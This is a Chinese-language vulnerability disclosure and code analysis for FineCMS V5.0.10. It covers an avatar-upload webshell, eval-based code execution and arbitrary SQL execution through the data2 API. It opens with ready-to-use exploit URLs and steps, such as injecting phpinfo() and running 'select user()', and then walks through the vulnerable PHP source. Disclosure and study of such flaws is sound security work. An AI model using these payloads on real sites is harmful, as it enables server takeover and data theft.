51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行

0x1 Payload

0x11 任意文件上传

注册个用户,修改头像,选择一张图片马:

抓包,修改post中tx参数中的jpg为php:

getshell:

目录中的1位用户id,稍微爆破一下即可。 PS:谢谢大佬们提醒,这个uid可以直接在cookie中看到

0x12 任意代码执行

index.php?c=api&m=data2&auth=e174c30q733kceb0r4kkh5m8u3p1jnh6&param=action=cache%20name=MEMBER.1'];phpinfo();$a=['1

其中auth为:

24b16fede9a67c9251d3e7c7161c83ac的md5值

0x13 任意SQL语句执行

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql='select%20user();'

auth值同上

0x2 代码分析

0x21 任意文件上传

/finecms/dayrui/controllers/member/Account.php 177~244

/**
 *  上传头像处理
 *  传入头像压缩包,解压到指定文件夹后删除非图片文件
 */
public function upload() {
`// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);

if ($_POST['tx']) {
    $file = str_replace(' ', '+', $_POST['tx']);
    if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
        $new_file = $dir.'0x0.'.$result[2];
        if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
            exit(dr_json(0, '目录权限不足或磁盘已满'));
        } else {
            $this->load->library('image_lib');
            $config['create_thumb'] = TRUE;
            $config['thumb_marker'] = '';
            $config['maintain_ratio'] = FALSE;
            $config['source_image'] = $new_file;
            foreach (array(30, 45, 90, 180) as $a) {
                $config['width'] = $config['height'] = $a;
                $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                $this->image_lib->initialize($config);
                if (!$this->image_lib->resize()) {
                    exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                    break;
                }
            }
            list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
            !$type && exit(dr_json(0, '图片字符串不规范'));
        }
    } else {

        exit(dr_json(0, '图片字符串不规范'));
    }
} else {
    exit(dr_json(0, '图片不存在'));
}
`
// 上传图片到服务器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}
`exit('1');
`
}

不用多解释了,直接任意文件上传。。

0x22 任意代码执行&&任意SQL语句执行

先说一下auth:
config.php
$config['sess_cookie_name'] = $site['SYS_KEY'].'_ci_session';

/finecms/dayrui/controllers/Api.php

直接可以再cookie中获取。

问题其实都出在了data2()这一个函数

/finecms/dayrui/controllers/Api.php

/**
 * 自定义数据调用(新版本)
 */
public function data2() {
`$data = array();

// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
    // 授权认证码不正确
    $data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
    // 解析数据
    $cache = '';
    $param = $this->input->get('param');
    if (isset($param['cache']) && $param['cache']) {
        $cache = md5(dr_array2string($param));
        $data = $this->get_cache_data($cache);
    }
    if (!$data) {

        // list数据查询
        $data = $this->template->list_tag($param);
        $data['code'] = $data['error'] ? 0 : 1;
        unset($data['sql'], $data['pages']);

        // 缓存数据
        $cache && $this->set_cache_data($cache, $data, $param['cache']);
    }
}

// 接收参数
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
    if (!function_exists($function)) {
        $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
    } else {
        $data = $function($data);
    }
}

// 页面输出
if ($format == 'php') {
    print_r($data);
} elseif ($format == 'jsonp') {
    // 自定义返回名称
    echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
    // 自定义返回名称
    echo $this->callback_json($data);
}
exit;
`
}

为什么说出在了这一个函数,因为通过这个函数可以调用到其他敏感函数,本来系统封装的函数不是给用户使用的。

可以看到,传入的参数直接进了$data = $this->template->list_tag($param);,这个函数里有什么,来截一部分:

/finecms/dayrui/libraries/Template.php

switch ($system['action']) {
`case 'cache': // 系统缓存数据

    if (!isset($param['name'])) {
        return $this->_return($system['return'], 'name参数不存在');
    }

    $pos = strpos($param['name'], '.');
    if ($pos !== FALSE) {
        $_name = substr($param['name'], 0, $pos);
        $_param = substr($param['name'], $pos + 1);
    } else {
        $_name = $param['name'];
        $_param = NULL;
    }

    $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
    if (!$cache) {
        return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
    }

    if ($_param) {
        $data = array();
        @eval('$data=$cache'.$this->_get_var($_param).';');
        if (!$data) {
            return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
        }
    } else {
        $data = $cache;
    }

    return $this->_return($system['return'], $data, '');
    break;

...

case 'sql': // 直接sql查询

    if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {

        // 数据源的选择
        $db = $this->ci->db;

        // 替换前缀
        $sql = str_replace(
            array('@#S', '@#'),
            array($db->dbprefix.$system['site'], $db->dbprefix),
            trim(urldecode($sql[1]))
        );
        if (stripos($sql, 'SELECT') !== 0) {
            return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
        }

        $total = 0;
        $pages = '';

        // 如存在分页条件才进行分页查询
        if ($system['page'] && $system['urlrule']) {
            $page = max(1, (int)$_GET['page']);
            $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
            $total = (int)$row['c'];
            $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
            // 没有数据时返回空
            if (!$total) {
                return $this->_return($system['return'], '没有查询到内容', $sql, 0);
            }
            $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
            $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
        }

        $data = $this->_query($sql, $system['site'], $system['cache']);
        $fields = NULL;

        if ($system['module']) {
            $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
        }

        if ($fields) {
            // 缓存查询结果
            $name = 'list-action-sql-'.md5($sql);
            $cache = $this->ci->get_cache_data($name);
            if (!$cache && is_array($data)) {
                // 模型表的系统字段
                $fields['inputtime'] = array('fieldtype' => 'Date');
                $fields['updatetime'] = array('fieldtype' => 'Date');
                // 格式化显示自定义字段内容
                foreach ($data as $i => $t) {
                    $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                }
                //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
            }
            $data = $cache;
        }
        return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
    } else {
        return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
    }
    break;

...
`
}

任意SQL语句执行到这里就不用说了。

再说一下代码执行的构造

只需使$cache有返回值就可以执行eval()了了,看一下_cache_var()函数:

public function _cache_var($name, $site = SITE_ID) {
`$data = NULL;
$name = strtoupper($name);

switch ($name) {
    case 'MEMBER':
        $data = $this->ci->get_cache('member');
        break;
    case 'URLRULE':
        $data = $this->ci->get_cache('urlrule');
        break;
    case 'MODULE':
        $data = $this->ci->get_cache('module');
        break;
    case 'CATEGORY':
        $site = $site ? $site : SITE_ID;
        $data = $this->ci->get_cache('category-'.$site);
        break;
    default:
        $data = $this->ci->get_cache($name.'-'.$site);
        break;
}

return $data;
`
}

只需name等于其中的几个值就可以,接下来就是根据_get_var()函数构造payload了:

public function _get_var($param){

    $array = explode(<span class="hljs-string">'.'</span>, $param);
    <span class="hljs-keyword">if</span> (!$array) {
        <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;
    }

    $string = <span class="hljs-string">''</span>;
    <span class="hljs-keyword">foreach</span> ($array <span class="hljs-keyword">as</span> $var) {
        $string.= <span class="hljs-string">'['</span>;
        <span class="hljs-keyword">if</span> (strpos($var, <span class="hljs-string">'$'</span>) === <span class="hljs-number">0</span>) {
            $string.= preg_replace(<span class="hljs-string">'/\[(.+)\]/U'</span>, <span class="hljs-string">'[\'\\1\']'</span>, $var);
        } <span class="hljs-keyword">elseif</span> (preg_match(<span class="hljs-string">'/[A-Z_]+/'</span>, $var)) {
            $string.= <span class="hljs-string">''</span>.$var.<span class="hljs-string">''</span>;
        } <span class="hljs-keyword">else</span> {
            $string.= <span class="hljs-string">'\''</span>.$var.<span class="hljs-string">'\''</span>;
        }
        $string.= <span class="hljs-string">']'</span>;
    }

    <span class="hljs-keyword">return</span> $string;



`}`

就两个正则,稍微构造下就OK了

0x3 其他

另外这个地方,利用任意SQL语句返回$data也能造成代码执行,不分析了。

听说finecms都能申请cve了,早没看,简直是程序员开发出来给刷cve的==、

自评TCV=1

赞(0)
未经允许不得转载:工具盒子 » FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行